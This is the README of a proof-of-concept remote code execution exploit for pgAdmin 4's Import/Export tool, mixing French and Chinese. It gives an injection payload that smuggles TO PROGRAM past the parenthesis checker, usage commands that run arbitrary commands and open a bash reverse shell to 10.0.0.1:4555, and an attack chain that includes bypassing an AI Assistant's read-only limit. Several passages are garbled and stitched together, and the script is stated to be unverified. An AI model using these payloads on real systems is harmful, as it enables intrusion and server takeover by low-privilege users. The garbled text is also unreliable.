
pgAdmin 4 Import/Export RCE (CVE-2026-17566) PoC - Injection TO PROGRAM via divergence d'échappement par antislash
PoC d'exécution de code à distance pour l'outil Import/Export Data de pgAdmin 4. En exploitant la divergence de sémantique d'échappement par antislash entre le vérificateur de parenthèses _is_query_parens_balanced() et psql, injectez \copy ... TO PROGRAM pour exécuter des commandes arbitraires sur le serveur exécutant pgAdmin.
Chaîne d'attaque contextuelle : CVE-2026-17349 (fuite d'identifiants Workspaces) → CVE-2026-17351 (contournement en lecture seule d'AI Assistant) → cette vulnérabilité (RCE). Les trois ne nécessitent qu'un utilisateur authentifié à faibles privilèges.
L'outil Import/Export Data insère le SQL de l'utilisateur dans un template Jinja pour construire la commande psql \copy (...). Le vérificateur d'équilibrage des parenthèses écrit à la main traite toujours \' comme une apostrophe échappée (correct uniquement lorsque standard_conforming_strings=off) ; alors qu'avec PostgreSQL, par défaut , , et les guillemets se ferment directement.
standard_conforming_strings=on-- 示意 payload
SELECT 'a\') TO PROGRAM 'echo pwned' x'
Le vérificateur considère que ) est toujours dans la chaîne → l'équilibre des parenthèses est validé ; psql ferme la chaîne à a\', ) met fin au bloc \copy (...), TO PROGRAM 'cmd' devient une directive active, exécutée par le popen() de psql.
_is_query_parens_balanced()) ; correctif commit 1496fabeTO PROGRAM de psql, même famille)tools_import_export_data)export PGADMIN_PASSWORD='账户密码'
# 任意命令(结果写入服务器侧文件,便于观察)
python3 pgadmin4_rce_poc.py --url https://127.0.0.1:5050 \
--user lowpriv --command 'id > /tmp/pgadmin_rce_proof'
# 反向 shell
python3 pgadmin4_rce_poc.py --url https://127.0.0.1:5050 \
--user lowpriv --reverse 10.0.0.1:4555
| Paramètre | Description |
|---|---|
--url | URL de base de pgAdmin |
--user / --password (ou PGADMIN_PASSWORD) | Compte à faibles privilèges |
--command | Commande arbitraire (ne doit pas contenir de guillemet simple) |
--reverse HOST:PORT | Génère un reverse shell bash |
--server-id | ID du serveur (par défaut, prend automatiquement le premier) |
--file | Nom du fichier d'export (pour construire la commande \copy, défaut /tmp/pgadmin_export.csv) |
--no-verify | Ignore la vérification du certificat TLS |
Déroulement : connexion (gestion automatique du CSRF/session) → énumération du serveur → POST /import_export/job/<sid> pour soumettre la requête is_query_export construite.
À utiliser uniquement pour la recherche en sécurité, la validation de vulnérabilités et les tests défensifs. Ce script est basé sur une analyse publique des techniques et n'a pas été vérifié sur une machine réelle ; les champs de requête peuvent nécessiter un ajustement selon la version de pgAdmin cible. Exécutez-le dans un environnement de test autorisé, ne l'utilisez pas contre des systèmes non autorisés.